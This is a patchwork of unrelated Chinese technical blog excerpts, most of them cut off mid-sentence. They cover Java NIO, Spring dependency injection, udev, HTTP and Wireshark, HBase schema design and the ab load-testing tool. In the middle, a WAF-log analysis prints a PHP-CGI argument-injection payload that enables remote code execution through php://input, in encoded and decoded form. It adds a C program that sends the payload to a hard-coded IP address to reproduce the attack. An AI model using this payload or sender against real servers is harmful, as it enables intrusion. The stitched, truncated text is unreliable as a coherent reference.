在Java NIO中,缓冲区的作用也是用来临时存储数据,可以理解为是I/O操作中数据的中转站。缓冲区直接为通道(Channel)服务,写入数据到通道或从通道读取数据,这样的操利用缓冲区数据来传递就可以达到对数据高效处理的目的。在NIO中主要有八种缓冲区类(其中MappedByteBuffer是专门用于内存映射的一种ByteBuffer):
Fields 所有缓冲区都有4个属性:capacity、limit、position、mark,并遵循:mark <= position <= limit <= capacity,下表格是对着4个属性的解释:
属性描述Capacity容量,即可以容纳的最大数据量;在缓冲区创建时被设定并且不能改变Limit表示缓冲区的当前终点,不能对缓冲区超过极限的位置进行读写操作。且极限是可以修改的Position位置,下一个要被读或写的元素的索引,每次读写缓冲区数据时都会改变改值,为下次读写作准备Mark标记,调用mark()来设置mark=position,再调用reset()可以让position恢复到标记的位置 Methods 1、实例化 java.nio.Buffer类是一个抽象类,不能被实例化。Buffer类的直接子类,如ByteBuffer等也是抽象类,所以也不能被实例化。
但是ByteBuffer类提供了4个静态工厂方法来获得ByteBuffer的实例:
方法描述allocate(int capacity)从堆空间中分配一个容量大小为capacity的byte数组作为缓冲区的byte数据存储器allocateDirect(int capacity)是不使用JVM堆栈而是通过操作系统来创建内存块用作缓冲区,它与当前操作系统能够更好的耦合,因此能进一步提高I/O操作速度。但是分配直接缓冲区的系统开销很大,因此只有在缓冲区较大并长期存在,或者需要经常重用时,才使用这种缓冲区wrap(byte[] array)这个缓冲区的数据会存放在byte数组中,bytes数组或buff缓冲区任何一方中数据的改动都会影响另一方。其实ByteBuffer底层本来就有一个bytes数组负责来保存buffer缓冲区中的数据,通过allocate方法系统会帮你构造一个byte数组wrap(byte[] array, int offset, int length) 在上一个方法的基础上可以指定偏移量和长度,这个offset也就是包装后byteBuffer的position,而length呢就是limit-position的大小,从而我们可以得到limit的位置为length+position(offset)
我写了这几个方法的测试方法,大家可以运行起来更容易理解
public static void main(String args[]) throws FileNotFoundException { System.out.println("----------Test allocate--------"); System.out.println("before alocate:" + Runtime.getRuntime().freeMemory()); // 如果分配的内存过小,调用Runtime.getRuntime().freeMemory()大小不会变化? // 要超过多少内存大小JVM才能感觉到? ByteBuffer buffer = ByteBuffer.allocate(102400); System.out.println("buffer = " + buffer); System.out.println("after alocate:" + Runtime.
国内服务器在运行命令yum -y install wget的时候,出现:
Could not retrieve mirrorlist http://mirrorlist.centos.org/?release=6&arch=x86_64&repo=os error was
14: PYCURL ERROR 6 - "Couldn't resolve host 'mirrorlist.centos.org'"
Error: Cannot find a valid baseurl for repo: base
这种错误,是因为没有配置/etc/resolv.conf。
解决方法:编辑resolv.conf文件,添加:
nameserver 8.8.8.8保存退出即可
简介
一个典型的企业应用程序不包含一个对象(或bean在Spring的说法)。即使是最简单的应用程序有几个对象,共同努力,目前终端用户眼中一个连贯的应用程序。这在下一节解释了如何从定义的bean定义独立,完全实现应用程序对象协作来实现一个目标
1.1 Dependency injection 依赖注入(DI)是一个过程,对象定义它们的依赖项,也就是说,他们处理的其他对象,只能通过构造函数参数,参数工厂方法或对象实例上设置的属性构造或后从工厂方法返回。然后容器注入这些依赖项时创建bean。这个过程从根本上是反,因此得名控制反转(IoC),控制实例化bean本身或位置的依赖自己的类,通过使用直接施工或服务定位器模式。
代码与DI清洁原理和分离对象时更有效的提供与他们的依赖性。对象不查找其依赖性,不知道位置或类的依赖关系。这样,你的类更容易测试,特别是当依赖接口或抽象基类,它允许使用存根或模拟实现单元测试。
DI存在于两个主要的变体,Constructor-based依赖注入和Setter-based依赖注入。
Constructor-based dependency injection Constructor-based DI容器实现的调用构造函数的参数,每个代表一个依赖项。 调用一个静态工厂方法与特定的参数构造bean几乎是等价的,和这个讨论将参数构造函数和静态工厂方法类似。 下面的示例显示了一个类,只能dependency-injected构造函数注入。 注意,这个类没有什么特别之处,它是一个POJO,没有依赖于容器特定的接口,基类或注释。 public class SimpleMovieLister { // the SimpleMovieLister has a dependency on a MovieFinder private MovieFinder movieFinder; // a constructor so that the Spring container can inject a MovieFinder public SimpleMovieLister(MovieFinder movieFinder) { this.movieFinder = movieFinder; } // business logic that actually uses the injected MovieFinder is omitted... } Constructor argument resolution 构造函数参数分辨率匹配时使用参数的类型。 如果不存在潜在的歧义在bean定义的构造函数参数,然后的顺序构造器参数中定义bean定义这些参数的顺序提供给适当的构造函数实例化bean时。 考虑下面的类: package x.
1. 初始化 首先调用udev_new,创建一个udev library context。udev library context采用引用记数机制,创建的context默认引用记数为1,使用udev_ref和udev_unref增加或减少引用记数,如果引用记数为0,则释放内部资源。 2. 枚举设备 使用udev_enumrate_new创建一个枚举器,用于扫描系统已接设备。使用udev_enumrate_ref和udev_enumrate_unref增加或减少引用记数。 使用udev_enumrate_add_match/nomatch_xxx系列函数增加枚举的过滤器,过滤关键字以字符表示,如"block"设备。 使用udev_enumrate_scan_xxx系列函数扫描/sys目录下,所有与过滤器匹配的设备。扫描完成后的数据结构是一个链表,使用udev_enumerate_get_list_entry获取链表的首个结点,使用udev_list_entry_foreach遍历整个链表。 3. 监控设备插拔 udev的设备插拔基于netlink实现。 使用udev_monitor_new_from_netlink创建一个新的monitor,函数的第二个参数是事件源的名称,可选"kernel"或"udev"。基于"kernel"的事件通知要早于"udev",但相关的设备结点未必创建完成,所以一般应用的设计要基于"udev"进行监控。 使用udev_monitor_filter_add_match_subsystem_devtype增加一个基于设备类型的udev事件过滤器,例如: "block"设备。 使用udev_monitor_enable_receiving启动监控过程。监控可以使用udev_monitor_get_fd获取一个文件描述符,基于返回的fd可以执行poll操作,简化程序设计。 插拔事件到达后,可以使用udev_monitor_receive_device获取产生事件的设备映射。调用udev_device_get_action可以获得一个字符串:"add"或者"remove",以及"change", "online", "offline"等,但后三个未知什么情况下会产生。 4、获取设备信息
使用udev_list_entry_get_name可以得到一个设备结点的sys路径,基于这个路径使用udev_device_new_from_syspath可以创建一个udev设备的映射,用于获取设备属性。获取设备属性使用udev_device_get_properties_list_entry,返回一个存储了设备所有属性信息的链表,使用udev_list_entry_foreach遍历链表,使用udev_list_entry_get_name和udev_list_entry_get_value获取属性的名称和值。
1. 基础概念篇 1.1 介绍 HTTP是Hyper Text Transfer Protocol(超文本传输协议)的缩写。它的发展是万维网协会(World Wide Web Consortium)和Internet工作小组IETF(Internet Engineering Task Force)合作的结果,(他们)最终发布了一系列的RFC,RFC 1945定义了HTTP/1.0版本。其中最著名的就是RFC 2616。RFC 2616定义了今天普遍使用的一个版本——HTTP 1.1。
HTTP协议(HyperText Transfer Protocol,超文本传输协议)是用于从WWW服务器传输超文本到本地浏览器的传送协议。它可以使浏览器更加高效,使网络传输减少。它不仅保证计算机正确快速地传输超文本文档,还确定传输文档中的哪一部分,以及哪部分内容首先显示(如文本先于图形)等。
HTTP是一个应用层协议,由请求和响应构成,是一个标准的客户端服务器模型。HTTP是一个无状态的协议。
1.2 在TCP/IP协议栈中的位置 HTTP协议通常承载于TCP协议之上,有时也承载于TLS或SSL协议层之上,这个时候,就成了我们常说的HTTPS。如下图所示:
默认HTTP的端口号为80,HTTPS的端口号为443。
1.3 HTTP的请求响应模型 HTTP协议永远都是客户端发起请求,服务器回送响应。见下图:
这样就限制了使用HTTP协议,无法实现在客户端没有发起请求的时候,服务器将消息推送给客户端。
HTTP协议是一个无状态的协议,同一个客户端的这次请求和上次请求是没有对应关系。
1.4 工作流程 一次HTTP操作称为一个事务,其工作过程可分为四步:
1)首先客户机与服务器需要建立连接。只要单击某个超级链接,HTTP的工作开始。
2)建立连接后,客户机发送一个请求给服务器,请求方式的格式为:统一资源标识符(URL)、协议版本号,后边是MIME信息包括请求修饰符、客户机信息和可能的内容。
3)服务器接到请求后,给予相应的响应信息,其格式为一个状态行,包括信息的协议版本号、一个成功或错误的代码,后边是MIME信息包括服务器信息、实体信息和可能的内容。
4)客户端接收服务器所返回的信息通过浏览器显示在用户的显示屏上,然后客户机与服务器断开连接。
如果在以上过程中的某一步出现错误,那么产生错误的信息将返回到客户端,有显示屏输出。对于用户来说,这些过程是由HTTP自己完成的,用户只要用鼠标点击,等待信息显示就可以了。
1.5 使用Wireshark抓TCP、http包 打开Wireshark,选择工具栏上的“Capture”->“Options”,界面选择如图1所示:
图1 设置Capture选项
一般读者只需要选择最上边的下拉框,选择合适的Device,而后点击“Capture Filter”,此处选择的是“HTTP TCP port(80)”,选择后点击上图的“Start”开始抓包。
图2 选择Capture Filter
例如在浏览器中打开http://image.baidu.com/,抓包如图3所示:
http://www.blogjava.net/images/blogjava_net/amigoxie/40799/o_http%e5%8d%8f%e8%ae%ae%e5%ad%a6%e4%b9%a0-%e6%a6%82%e5%bf%b5-3.jpg
图3 抓包
在上图中,可清晰的看到客户端浏览器(ip为192.168.2.33)与服务器的交互过程:
1)No1:浏览器(192.168.2.33)向服务器(220.181.50.118)发出连接请求。此为TCP三次握手第一步,此时从图中可以看出,为SYN,seq:X (x=0)
2)No2:服务器(220.181.50.118)回应了浏览器(192.168.2.33)的请求,并要求确认,此时为:SYN,ACK,此时seq:y(y为0),ACK:x+1(为1)。此为三次握手的第二步;
3)No3:浏览器(192.168.2.33)回应了服务器(220.181.50.118)的确认,连接成功。为:ACK,此时seq:x+1(为1),ACK:y+1(为1)。此为三次握手的第三步;
4)No4:浏览器(192.168.2.33)发出一个页面HTTP请求;
5)No5:服务器(220.181.50.118)确认;
6)No6:服务器(220.181.50.118)发送数据;
7)No7:客户端浏览器(192.168.2.33)确认;
8)No14:客户端(192.168.2.33)发出一个图片HTTP请求;
9)No15:服务器(220.181.50.118)发送状态响应码200 OK
……
1.6 头域 每个头域由一个域名,冒号(:)和域值三部分组成。域名是大小写无关的,域值前可以添加任何数量的空格符,头域可以被扩展为多行,在每行开始处,使用至少一个空格或制表符。
function getUrlParam(name) { var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)"); //构造一个含有目标参数的正则表达式对象 var r = window.location.search.substr(1).match(reg); //匹配目标参数 if (r!=null) return unescape(r[2]); return null; //返回参数值 } 例如调用时直接 getUrlParam('username');即可
/*
分析:1,需要3个成员变量,name, age, score。
2,可以通过set, get方法访问。
思路: 1,创建一个student类, 类里面包含 name,age, score,三个变量。
2,设置成私有, 对外提供set,get,方法。
3,在主函数中创建student("张三", 22, 95)类型的对象。
*/
class Demo6 {
public static void main(String[] args) {
Student s = new Student("张三", 22, 95); //创建new Student("张三", 22, 95)对象。 }
}
class Student {
//私有成员变量。
private String name ;
private int age;
private int score;
//对外提供 name,age, score 的 set,get方法。
public String getName() {
return name;
}
public void setName(String name) {
在做一个便民服务电话,用到移动web中列出的电话,点击需要实现调用通讯录,拨打电话功能。 如果需要在移动浏览器中实现拨打电话,发送email,调用sns等功能,jquery mobile提供的接口是一个好办法。 采用url链接的方式,实现在Safari ios,Android 浏览器,webos 浏览器,塞班浏览器,IE,Operamini等主流浏览器,进行拨打电话功能。 1.最常用的方式: <a href="tel:+120">报警!</a> 在拨号界面,显示号码,并提示拨打。 支持大部分的浏览器,但是在QQ浏览器上支持不好。 2、自动探测电话号码 如果要支持Safari for iOS ,BlackBerry browser的号码,需要加上一下标签: <meta name="format-detection" content="telephone=no"> <meta http-equiv="x-rim-auto-match" content="none"> 3.使用wtai协议进行拨打电话。 在WML中可以调用设备的WTAI函数来呼叫特定的电话号码。目前,越来越多的浏览器都支持这个功能,但还不是所有。 代码如下所示: <input name="phone_no" format="*m" value="13"/> <do type="option" label="呼出号"> <go href="wtai://wp/mc;$(phone_no)"/> </do><br/> 或者直接写入电话号码的方式: <a href="wtai://wp/mc;1331597312*">拨打电话</a> 实例: <a href="wtai://wp//mc;10086">拨打10086 </a> <a href="wtai://wp/ap;10086;">将10086存储至电话簿 </a> <a href="sms:10086">发短信到10086 </a> 建议采用这个方式。 4、还有一种方式: <a href="dc:5040*0077">拨打热线</a> 经过测试,大部分浏览器都不支持 了。
这边文章先将可能的需求分析一下,设计出HBase表,下一步再开始编写客户端代码。
TwiBase系统
1、背景
为了加深HBase基本概念的学习,参考HBase实战这本书实际动手做了这个例子。
2、需求
这是一个用户推特系统,用户登陆到系统,需要维护用户的基本信息,然后用户可以发帖和其他用户进行互动。用户之间可以相互关注,用户可以浏览关注用户的推文等等。
这是一个比较简单的推特系统,不考虑用户之间的私信,用户评论推特等功能。
3、概要设计
3.1表设计
首先需要设计三个表:用户表,推特表以及用户之间的关系表。
(1)用户表
用户表至少包含唯一的用户名,用户昵称,用户邮箱以及用户发帖数量,用一个列族存储。
创建用户表的语句是:
create'users', 'info'
其中用户名用作rowkey,这样能够快速根据用户登陆ID查找到用户所有基本信息。
(2)推特表
推特表存储用户的发帖,至少包括用户名,发帖时间,以及发帖内容,用一个列族存储。
创建推特表的语句是:
create'twits', 'twits'
为了能够快速查找到指定用户的所有推文(登陆个人推特时显示),需要将同一个用户的所有推文都存储在一块,所以考虑将用户ID作为行键的第一部分,另外希望每个用户的推文按照时间有序,所以将时间戳作为行键的第二部分,但是这里有个问题,用户名是变长的,怎么知道行键中前面到哪儿是用户名呢,这个时候可以对用户名做MD5散列,将变长的用户名变为定长的散列值。
另外你希望用户显示自己的推文的时候按照时间顺序倒序排列,即读出来的推文时间新的排在前面,那么就需要利用一个小技巧,不存储真正的时间戳,而是存储倒序时间戳=Long.MAXVALUE -时间戳。所以表设计是这样的:
rowKey:MD5(用户A)+倒序时间戳#time:发帖时间,content:内容
(3)关系表
现在只有用户和推文功能,这明显不够,我们希望能够阅读其他人的推文,这就希望用户能够关注一些其他的用户。
具体我们需要存储哪些关系呢?
1用户A登陆,需要查看自己关注了谁,以及显示其关注的用户的推文,所以要存储用户A关注了谁?
2用户A登陆,想要查看自己的粉丝,所以需要存储谁关注了用户A?
3用户A登陆,访问用户B的推特,那么需要知道用户A有没有关注用户B?
一开始你可能会想这样设计表:
rowKey:用户A#1:用户B,2:用户C,3:用户D
rowKey:用户B#1:用户H,2:用户C
这样可以很轻松回答问题1和问题3.
但是问题2似乎很难回答,除非扫描整个表,以及每一行的所有列,否则找不出所有关注某个用户的人。
这个表设计还有一个大问题,就是当用户A关注用户B的时候,需要在用户A这一行加一列,但是我不知道现在加到哪一列了,即put数据的时候无法指定qualifier,你可能想到在每一行增加一列计数器来解决这个问题,即counter:x,但是不幸的是,HBase不支持事务操作,一旦多个客户端同时关注两个不同的用户,它们都需要取得计数器,然后插入新的一列,两个客户端很可能读到同一个计数器值,这样一个客户端的写入就会被另一个给覆盖,所以必须去掉计数器,可以用下面方式解决:
这样设计表:
rowKey:用户A#用户B:1,用户C:2,用户D:3
rowKey:用户B#用户H:1,用户C:2
到目前为止的设计还是没有高效的办法回答问题2.
上面两种设计都是“宽表”的形式,现在可以考虑使用“高表”的形式。
rowKey:用户A+分隔符+用户B#1:用户B昵称
即行键存储用户A关注用户B,我们将用户B的昵称放入qualifier可以节省再去用户表找用户B的昵称的时间,这是一种反规范化(de-nomalize)处理。
这样很容易就能想到这样一个设计:
rowKey:用户A+分隔符+关注+分隔符+用户B#1:用户B昵称
rowKey:用户A+分隔符+关注+分隔符+用户C#1:用户C昵称
rowKey:用户A+分隔符+被关注+分隔符+用户D#1:用户D昵称
rowKey:用户A+分隔符+被关注+分隔符+用户H#1:用户H昵称
这样很容易就可以回答上面三个问题,分别是用户A关注了谁?用户A关注了用户B?谁关注了用户A。不过要注意,当查找用户A的粉丝列表时,往往不想把用户A关注了谁这些集合也返回给客户端,这个时候可以通过为扫描设置起始和停止键来做到。
这里需要再次优化,即使用MD5对用户名进行处理,得到定长的散列值,这样做有几个好处:
1 可以抛弃掉分隔符,为扫描操作计算起始和停止键更加容易。
2 行键长度统一,可以帮助你很好地预测读写性能。
3 MD5有助于数据更加均匀地分布在region上。
所以关系表设计再次修改为这样:
rowKey:MD5(用户A)+关注+MD5(用户B)#1:用户B的昵称
rowKey:MD5(用户A)+关注+MD5(用户C)#1:用户C的昵称
rowKey:MD5(用户A)+被关注+MD5(用户D)#1:用户D的昵称
rowKey:MD5(用户A)+被关注+MD5(用户H)#1:用户H的昵称
但是这样还不是最优的,之前已经说过了,当查找用户A的粉丝列表时,往往不想把用户A关注了谁这些集合也返回给客户端,虽然可以通过为扫描设置起始和停止键来做到,但是在region server上面仍然要将这些不关心的数据从硬盘上读出来,才会经过扫描过滤。
所以考虑将被关注和关注两种类型分开,分别建立一个表,这下最终的表设计就这样了:
关注表:
rowKey:MD5(用户A)+MD5(用户B)#1:用户B的昵称
rowKey:MD5(用户A)+MD5(用户C)#1:用户C的昵称
被关注表:
在平时使用Wireshark的过程中经常,需要按着一定条件过滤某些包,这样查看起来相对比较清晰。
比如最常用的过滤IP,我们可以写成ip.addr==210.32.1.123。
如果我们想过滤和这个IP相关的指定端口应该如何做呢?
此时应写为:
ip.addr==210.32.1.123||tcp.port==80
这样就可以过滤出来和这个IP相关的80端口的信息了。
目前大部分针对应用层的防护设备,尤其是WEB应用,主流的防护手段还是基于正则表达式进行匹配过滤。
最近发现自己使用的设备出现很多误报,期望通过匹配日志记录定位问题,手动匹配会是一个很繁琐的过程,所以考虑程序自动化实现。
问题定义:
1、文件A存储了一系列正则表达式,每行一条
2、文件B中存储了所有的日志,每行为一次访问记录,保护请求源IP、客户端浏览器信息、请求url等
要求:输出文件B中的url,该url与文件A中任意一条正则相匹配,并同时输出该正则表达式
以下是代码实现
import re import sys import urllib de=urllib.unquote url_file=sys.argv[1] regex_file=sys.argv[2] print url_file print regex_file p_ufile=open(url_file) p_rfile=open(regex_file) uline=p_ufile.readline().strip('\n') rline=p_rfile.readline().strip('\n') while(uline): url=uline.split(" ")[8] # print url url=de(url) while(rline): # print rline # print url if re.search(rline,url): print "**********************************************" print rline print "##########regex#########" print uline print "**********************************************" break rline=p_rfile.readline().strip('\n') # break # print uline # break p_rfile.close() p_rfile=open(regex_file) rline=p_rfile.readline().strip('\n') uline=p_ufile.readline().strip('\n') 如果正则表达式中使用'(单引号)进行匹配,而在url中出现的确实%27,这种情况下是无法匹配成功的,为了解决这个问题,可以先将url进行解码:
de=urllib.unquote url=de(url)
检测组内WEB服务器攻击日志时,在防护WAF上发现如下攻击记录:
http://-c//cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E
攻击来源为192.187.125.130
请求方法为POST
解码后为:
http://-c//cgi-bin/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-d+auto_prepend_file=php://input+-n
使用的WAF不能记录POST提交的内容,无法获悉攻击者提交的数据。
攻击手段分析 最开始很不理解这个HTTP请求是如何发送过来的,没有使用正确的域名,也没有在HTTP请求中指定服务器IP!经过讨论有同事认为是工具指定IP和端口利用socket自动发送的。
攻击复现 做如下尝试:
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
int main(){
int sockfd;
int len;
struct sockaddr_in address;
int result;
char *strings="GET/test.jsp?test=%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6EHTTP/1.1\r\nHost: -test\r\nConnection: Close\r\n\r\n";
char ch;
sockfd = socket(AF_INET,SOCK_STREAM, 0);
address.sin_family = AF_INET;
address.sin_addr.s_addr =inet_addr("159.226.16.74");
address.sin_port = htons(80);
len = sizeof(address);
result = connect(sockfd, (struct sockaddr *)&address, len);
if(result == -1){
perror("oops: client1");
为了更好的展示爬取的目标网站内容,下载目标网站所使用的图片是有必要的。
保持图片在目标网站中的相对路径和名称是比较合适的方案,这需要对图片URL进行split处理。
创建相对路径的代码如下:
def createPath(url): folders=url.split('/') i=3 path=folders[2] while i<len(folders)-1: path=os.path.join(path,folders[i]) i+=1 if not os.path.exists(path): os.makedirs(path) path=path+"/" return path 从图片URL中获取文件名称:
filename=imgurl.split('/')[-1] 以下代码可以获取页面中的所有jpg图片,并保存到当前目录下与目标网站相一致的相对路径中。
import re import urllib import os def getHtml(url): page = urllib.urlopen(url) html = page.read() return html def createPath(url): folders=url.split('/') i=3 path=folders[2] while i<len(folders)-1: path=os.path.join(path,folders[i]) i+=1 if not os.path.exists(path): os.makedirs(path) path=path+"/" return path def getImg(html): reg = r'src="?\'?(\S+\.jpg)"?\'?' imgre = re.compile(reg) imglist = imgre.findall(html) x = 0 for imgurl in imglist: if not re.
交换机端口灯颜色 一般情况下,网卡速率是操作系统与交换机协商进行的。
有时候我们将PC机或其它服务器连接到交换机上,发现交换机对应端口的灯是橙黄色而不是熟悉的亮绿色,但并不影响PC的网络连接。
本着严谨的科学态度,我们需要了解为什么交换机的灯是橙黄色。
其实原因很简单,交换机端口支持的速率和PC机网卡支持的速率不适配,譬如交换机是千兆口,而网卡却是百兆自适应。
手动调整网卡速率 另外一些情况下,为了避免网络出口拥塞,我需要手动设置网卡速率,主动使交换机的端口灯变成橙黄色,例如:交换机的外网出口是千兆口,内网连接的网卡也都是自适配的千兆口,这是如果所有内网的机器网卡全部满负荷工作,那么外网出口就会出现拥塞了,为了避免这种情况,可以将内网机器网卡的速率调整为百兆速率。
windows平台 打开设备管理器,右键点击网卡适配器下的使用的网卡,打开属性面板,选择高级选项卡,在属性窗口中选择对应的选项,可能是Media Type,或是external PHY,或是速度和双工,或是网络速度和双工,这需要看具体的系统而定了,下图是win7中对应的选项:
修改为合适的值,点击确定即可。
linux系统 以ubuntu为例,用mii-tool设置网卡的速度参数,可以通过-F参数强行指定网卡的速度和双工,选项包括:100baseTx-FD,100baseTx-HD,10baseT-FD,或者10baseT-HD。注意,如果你网卡的强制速度/双工模式与路由器不匹配的话,可能会丢失网络连接:
[root@bigboy tmp]# mii-tool -F 100baseTx-FD eth0
另外,除了把这个命令放到/etc/rc.local文件中让它在每次启动结束前执行,或者创建你自己的启动脚本如果你需要它更早被执行,我们没有办法让它在重启后永久生效。
ethtool命令被指定在不久的将来替代mii-tool,目的是支持新的网卡。
用设备名称作为参数,命令可以提供其状态。这里我们可以看到设备eth0没有设置自动协商并设定为100 Mbps速度,全双工。在输出的顶端列出了其所支持的模式。
# ethtool eth0
Settings for eth0:
Supported ports: [ TP MII ]
Supported link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
Supports auto-negotiation: Yes
Advertised link modes: 10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
Advertised auto-negotiation: No
Speed: 100Mb/s
Duplex: Full
Port: MII
PHYAD: 1
Transceiver: internal
Auto-negotiation: off
Supports Wake-on: g
介绍 ab是apache附带的一款压力测试工具,它非常容易使用,ab可以直接在Web服务器本地发起测试请求。这至关重要,因为我们希望测试的服务器的处理时间,而不包含数据的网络传输时间以及用户PC本地的计算时间。
需要清楚的是,ab进行一切测试的本质都是基于HTTP,所以可以说它是对于Web服务器软件的黑盒性能测试,它获得的一切数据和计算结果,都可以通过HTTP来解释。
选项 -A auth-username:password 对服务器提供BASIC认证信任。 用户名和密码由一个:隔开,并以base64编码形式发送。 无论服务器是否需要(即, 是否发送了401认证需求代码),此字符串都会被发送。 -c concurrency 一次产生的请求个数。默认是一次一个。 -C cookie-name=value 对请求附加一个Cookie:行。 其典型形式是name=value的一个参数对。 此参数可以重复。 -d 不显示"percentage served within XX [ms] table"的消息(为以前的版本提供支持)。 -e csv-file 产生一个以逗号分隔的(CSV)文件, 其中包含了处理每个相应百分比的请求所需要(从1%到100%)的相应百分比的(以微妙为单位)时间。 由于这种格式已经“二进制化”,所以比'gnuplot'格式更有用。 -g gnuplot-file 把所有测试结果写入一个'gnuplot'或者TSV (以Tab分隔的)文件。 此文件可以方便地导入到Gnuplot, IDL, Mathematica, Igor甚至Excel中。 其中的第一行为标题。 -h 显示使用方法。 -H custom-header 对请求附加额外的头信息。 此参数的典型形式是一个有效的头信息行,其中包含了以冒号分隔的字段和值的对 (如, "Accept-Encoding: zip/zop;8bit"). -i 执行HEAD请求,而不是GET。 -k 启用HTTP KeepAlive功能,即, 在一个HTTP会话中执行多个请求。 默认时,不启用KeepAlive功能. -n requests 在测试会话中所执行的请求个数。 默认时,仅执行一个请求,但通常其结果不具有代表意义。 -p POST-file 包含了需要POST的数据的文件. -P proxy-auth-username:password 对一个中转代理提供BASIC认证信任。 用户名和密码由一个:隔开,并以base64编码形式发送。 无论服务器是否需要(即, 是否发送了401认证需求代码),此字符串都会被发送。 -q 如果处理的请求数大于150, ab每处理大约10%或者100个请求时,会在stderr输出一个进度计数。 此-q标记可以抑制这些信息。 -s 用于编译中(ab -h会显示相关信息)使用了SSL的受保护的https, 而不是http协议的时候。此功能是实验性的,也是很简陋的。最好不要用。 -S 不显示中值和标准背离值, 而且在均值和中值为标准背离值的1到2倍时,也不显示警告或出错信息。 默认时,会显示 最小值/均值/最大值等数值。(为以前的版本提供支持).
1. H.265/HEVC 播放器 1) VLC media player 2.1.3 (目前不支持H.265 TS播放)
2) ffmpeg中的ffplay (如:ffplay hevc.ts)
3) GPAC中的MP4Client (如:MP4Client hevc.ts, 或MP4Client hevc.mp4)
2. H.265/HEVC编码器 所有编码器都是基于x265来做的。其参考命令如下所示: ffmpeg.exe -i "E:\video\yak.mp4" -pix_fmt yuv420p -f yuv4mpegpipe - 2> nul | x265.exe -p medium --crf 26 --fps 30 -f 2283 -o "E:\video\test\temp0.hvc" --y4m - 常用的工具如下所示: 2.1 CINEMARTIN CINEC v.2.7.5 Gold CINEMARTIN CINEC v.2.7.5 Gold是一个商业软件,做4K H.265压缩时经常出现crash。且占用大量硬盘空间。对于H.265可产生hevc文件,可供MP4Box作为输入以生成.mp4文件,从而使用mp42ts生成.ts文件。 2.2 Internet Friendly Media Encoder Internet Friendly Media Encoder是一款ssf开源项目,其性能和功能很好。只是目前可用,代码还没有开放。且在执行过程中,还会显示其详细log信息,不占用硬盘空间,共关键的命令如下所示: Internet Friendly Media Encoder工作步骤: 1)[ ok ] Loaded ffmpeg.
Scrapy,Python安装,使用!
1、下载安装Python2.7.6,因为Scrapy还不支持3.x版本。Latest Python 2 Release - Python 2.7.6,安装时选择当前用户。
2、到http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/下载安装pywin32-219.win-amd64-py2.7.exe
3、将C:\python27\Scripts;C:\python27;添加到环境变量里。
4、http://slproweb.com/products/Win32OpenSSL.html 到这里下载Visual C++ 2008 Redistributables和Win32 OpenSSL v1.0.1g Light并安装。安装时选择当前用户。将OpenSSL的bin目录添加到环境变量(C:\OpenSSL-Win32)
5、到https://pypi.python.org/pypi/setuptools#windows-7-or-graphical-install下载ez_setup.py,用Python运行ez_setup.py(双击也行),会自动安装好工具、
6、到https://pypi.python.org/pypi/zope.interface/4.1.1#downloads 下载zope.interface-4.1.1-py2.7-win32.egg 安装,复制到Python/Scripts下,运行 easy_install zope.interface-4.1.1-py2.7-win32.egg。(如果后缀名不是egg,修改为egg)
7、到https://pypi.python.org/pypi/pyOpenSSL/0.13下载pyOpenSSL-0.13-py2.7-win32.egg 安装同6。
8、到https://pypi.python.org/pypi/lxml/3.3.5下载lxml-3.3.5.win32-py3.2.exe 安装
9、到 https://pypi.python.org/pypi/Twisted/14.0.0 下载Twisted-14.0.0.win32-py2.7.exe安装。(安装时选择当前用户)
10、到https://pypi.python.org/pypi/cryptography/0.4#downloads下载cryptography-0.4-cp27-none-win32.whl 安装同6
11、https://pypi.python.org/pypi/cffi/0.8.2下载cffi-0.8.2-cp27-none-win32.whl安装同六
12、到https://pypi.python.org/pypi/service_identity/0.2#downloads下载service_identity-0.2-py2.py3-none-any.whl 安装同6
13、命令行下运行easy_install scrapy将会自动下载并安装完成。
注:以上安装以win32为例,如果是win64则全部要下载64位的安装包。在win64安装WIn64OpenSSL时,还要把C:\OpenSSL-Win32\bin目录下的libeay32.dll和ssleay32.dll放到C:\windows\system32下,不然运行scrapy时出错。
问题汇总:
